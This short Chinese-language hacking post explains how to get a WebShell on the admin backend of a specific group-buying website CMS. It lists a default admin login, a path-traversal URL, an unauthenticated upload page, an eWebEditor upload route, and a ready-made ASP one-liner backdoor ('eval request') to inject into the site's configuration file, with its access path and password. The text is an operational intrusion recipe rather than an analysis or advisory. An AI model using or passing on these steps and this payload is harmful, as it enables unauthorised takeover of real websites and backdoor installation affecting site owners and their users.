良精团购网站管理系统后台拿 WebShell 方法。
前台没看,一个朋友丢给我的,后台默认 admin,进去看了下,分析了一下拿 webshell 的方法。
1. 遍历全站:admin/UpPicFile.asp?path=../Include
2. admin/UpFileSave.asp,无验证,或许可以拿 webshell,我没测试。
3. 配置插一句话:"%><%eval request("As")%><%'",链接地址:Include/Const.asp,密码:As。
4. ewebeditor 编辑器:admin/eWebEditor/admin/style.asp,需要后台权限,直接修改格式上传,或者按照方法3插一句话,直接连接:admin/eWebEditor/admin/style.asp,即可。